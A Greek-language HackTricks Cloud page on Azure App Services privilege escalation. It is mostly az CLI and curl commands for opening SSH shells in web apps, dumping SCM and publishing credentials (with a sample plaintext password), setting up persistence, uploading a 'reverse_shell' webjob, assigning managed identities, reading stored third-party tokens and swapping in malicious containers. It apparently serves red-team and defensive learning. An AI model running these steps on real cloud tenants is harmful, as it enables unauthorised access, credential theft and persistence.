Az - App Services Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
App Services
Για περισσότερες πληροφορίες σχετικά με τις υπηρεσίες Azure App, ελέγξτε:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Αυτές οι άδειες επιτρέπουν την πρόσβαση σε ένα SSH shell μέσα σε μια εφαρμογή ιστού. Επιτρέπουν επίσης την αποσφαλμάτωση της εφαρμογής.
- SSH σε μία εντολή:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Δημιουργήστε σήραγγα και στη συνέχεια συνδεθείτε μέσω SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Αποσφαλμάτωση της εφαρμογής:
- Εγκαταστήστε την επέκταση Azure στο VScode.
- Συνδεθείτε στην επέκταση με τον λογαριασμό Azure.
- Καταγράψτε όλες τις υπηρεσίες App μέσα στη συνδρομή.
- Επιλέξτε την υπηρεσία App που θέλετε να αποσφαλματώσετε, κάντε δεξί κλικ και επιλέξτε “Start Debugging”.
- Εάν η εφαρμογή δεν έχει ενεργοποιημένη την αποσφαλμάτωση, η επέκταση θα προσπαθήσει να την ενεργοποιήσει, αλλά ο λογαριασμός σας χρειάζεται την άδεια
Microsoft.Web/sites/config/writeγια να το κάνει αυτό.
Απόκτηση Διαπιστευτηρίων SCM & Ενεργοποίηση Βασικής Αυθεντικοποίησης
Για να αποκτήσετε τα διαπιστευτήρια SCM, μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές και άδειες:
- Η άδεια
Microsoft.Web/sites/publishxml/actionεπιτρέπει την κλήση:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Σημειώστε ότι το όνομα χρήστη είναι πάντα το ίδιο (εκτός από το FTP που προσθέτει το όνομα της εφαρμογής στην αρχή) αλλά ο κωδικός πρόσβασης είναι ο ίδιος για όλους αυτούς.
Επιπλέον, το SCM URL είναι <app-name>.scm.azurewebsites.net.
- Η άδεια
Microsoft.Web/sites/config/list/actionεπιτρέπει την κλήση:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Σημειώστε ότι τα διαπιστευτήρια είναι τα ίδια με την προηγούμενη εντολή.
- Μια άλλη επιλογή θα ήταν να ορίσετε τα δικά σας διαπιστευτήρια και να τα χρησιμοποιήσετε:
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Τότε, μπορείτε να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να πρόσβαση στις πλατφόρμες SCM και FTP. Αυτός είναι επίσης ένας εξαιρετικός τρόπος για να διατηρήσετε την επιμονή.
Θυμηθείτε ότι για να αποκτήσετε πρόσβαση στην πλατφόρμα SCM από το web πρέπει να αποκτήσετε πρόσβαση στο <SCM-URL>/BasicAuth.
Warning
Σημειώστε ότι κάθε χρήστης μπορεί να διαμορφώσει τα δικά του διαπιστευτήρια καλώντας την προηγούμενη εντολή, αλλά αν ο χρήστης δεν έχει αρκετές άδειες για να αποκτήσει πρόσβαση στο SCM ή FTP, τα διαπιστευτήρια δεν θα λειτουργήσουν.
- Αν δείτε ότι αυτά τα διαπιστευτήρια είναι REDACTED, είναι επειδή πρέπει να ενεργοποιήσετε την επιλογή βασικής αυθεντικοποίησης SCM και για αυτό χρειάζεστε τη δεύτερη άδεια (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Δημοσίευση κώδικα χρησιμοποιώντας διαπιστευτήρια SCM
Απλά έχοντας έγκυρα διαπιστευτήρια SCM είναι δυνατό να δημοσιεύσετε κώδικα στην υπηρεσία App. Αυτό μπορεί να γίνει χρησιμοποιώντας την παρακάτω εντολή.
Για αυτό το παράδειγμα python μπορείτε να κατεβάσετε το repo από https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, να κάνετε οποιεσδήποτε αλλαγές επιθυμείτε και στη συνέχεια να συμπιέσετε τρέχοντας: zip -r app.zip ..
Στη συνέχεια, μπορείτε να δημοσιεύσετε τον κώδικα σε μια διαδικτυακή εφαρμογή με την παρακάτω εντολή:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
Η αναφερόμενη άδεια Azure επιτρέπει την εκτέλεση αρκετών ενδιαφερόντων ενεργειών που μπορούν επίσης να εκτελούνται με τα διαπιστευτήρια SCM:
- Διαβάστε τα Webjobs logs:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Διαβάστε τον πηγαίο κώδικα Webjobs:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Δημιουργήστε συνεχή Webjob:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Αυτές οι άδειες επιτρέπουν να ανατεθεί μια διαχειριζόμενη ταυτότητα στην υπηρεσία App, οπότε αν μια υπηρεσία App είχε προηγουμένως παραβιαστεί, αυτό θα επιτρέψει στον επιτιθέμενο να αναθέσει νέες διαχειριζόμενες ταυτότητες στην υπηρεσία App και να κλιμακώσει τα δικαιώματα σε αυτές.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
Αυτή η άδεια επιτρέπει την καταγραφή των connection strings και των appsettings της υπηρεσίας App, τα οποία μπορεί να περιέχουν ευαίσθητες πληροφορίες όπως διαπιστευτήρια βάσης δεδομένων.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Διαβάστε τις Ρυθμισμένες Πιστοποιήσεις Τρίτων
Εκτελώντας την παρακάτω εντολή, είναι δυνατόν να διαβάσετε τις πιστοποιήσεις τρίτων που είναι ρυθμισμένες στον τρέχοντα λογαριασμό. Σημειώστε ότι αν για παράδειγμα κάποιες πιστοποιήσεις Github είναι ρυθμισμένες σε διαφορετικό χρήστη, δεν θα μπορείτε να αποκτήσετε πρόσβαση στο token από έναν διαφορετικό.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Αυτή η εντολή επιστρέφει διακριτικά για το Github, Bitbucket, Dropbox και OneDrive.
Εδώ έχετε μερικά παραδείγματα εντολών για να ελέγξετε τα διακριτικά:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Ενημέρωση Κώδικα Εφαρμογής από την πηγή
- Εάν η ρυθμισμένη πηγή είναι ένας τρίτος πάροχος όπως το Github, το BitBucket ή ένα Azure Repository, μπορείτε να ενημερώσετε τον κώδικα της υπηρεσίας εφαρμογής παραβιάζοντας τον πηγαίο κώδικα στο αποθετήριο.
- Εάν η εφαρμογή είναι ρυθμισμένη να χρησιμοποιεί ένα απομακρυσμένο git repository (με όνομα χρήστη και κωδικό πρόσβασης), είναι δυνατόν να αποκτήσετε το URL και τα βασικά διαπιστευτήρια αυθεντικοποίησης για να κλωνοποιήσετε και να σπρώξετε αλλαγές με:
- Χρησιμοποιώντας την άδεια
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group> - Χρησιμοποιώντας την άδεια
Microsoft.Web/sites/config/list/action: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"- Εάν η εφαρμογή είναι ρυθμισμένη να χρησιμοποιεί ένα τοπικό git repository, είναι δυνατόν να κλωνοποιήσετε το αποθετήριο και να σπρώξετε αλλαγές σε αυτό:
- Χρησιμοποιώντας την άδεια
Microsoft.Web/sites/sourcecontrols/read: Μπορείτε να αποκτήσετε το URL του git repo μεaz webapp deployment source show --name <app-name> --resource-group <res-group>, αλλά θα είναι το ίδιο με το SCM URL της εφαρμογής με τη διαδρομή/<app-name>.git(π.χ.https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git). - Για να αποκτήσετε τα διαπιστευτήρια SCM χρειάζεστε την άδεια:
Microsoft.Web/sites/publishxml/action: Στη συνέχεια, εκτελέστεaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.Microsoft.Web/sites/config/list/action: Στη συνέχεια, εκτελέστεaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
Warning
Σημειώστε ότι έχοντας την άδεια
Microsoft.Web/sites/config/list/actionκαι τα διαπιστευτήρια SCM είναι πάντα δυνατό να αναπτύξετε σε μια webapp (ακόμα και αν είχε ρυθμιστεί να χρησιμοποιεί έναν τρίτο πάροχο) όπως αναφέρθηκε σε προηγούμενη ενότητα.
Warning
Σημειώστε ότι έχοντας τις παρακάτω άδειες είναι επίσης δυνατό να εκτελέσετε ένα αυθαίρετο κοντέινερ ακόμα και αν η webapp είχε ρυθμιστεί διαφορετικά.
Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read
Αυτό είναι το σύνολο αδειών που επιτρέπει να τροποποιήσετε το κοντέινερ που χρησιμοποιείται από μια webapp. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να κάνει μια webapp να εκτελεί ένα κακόβουλο κοντέινερ.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

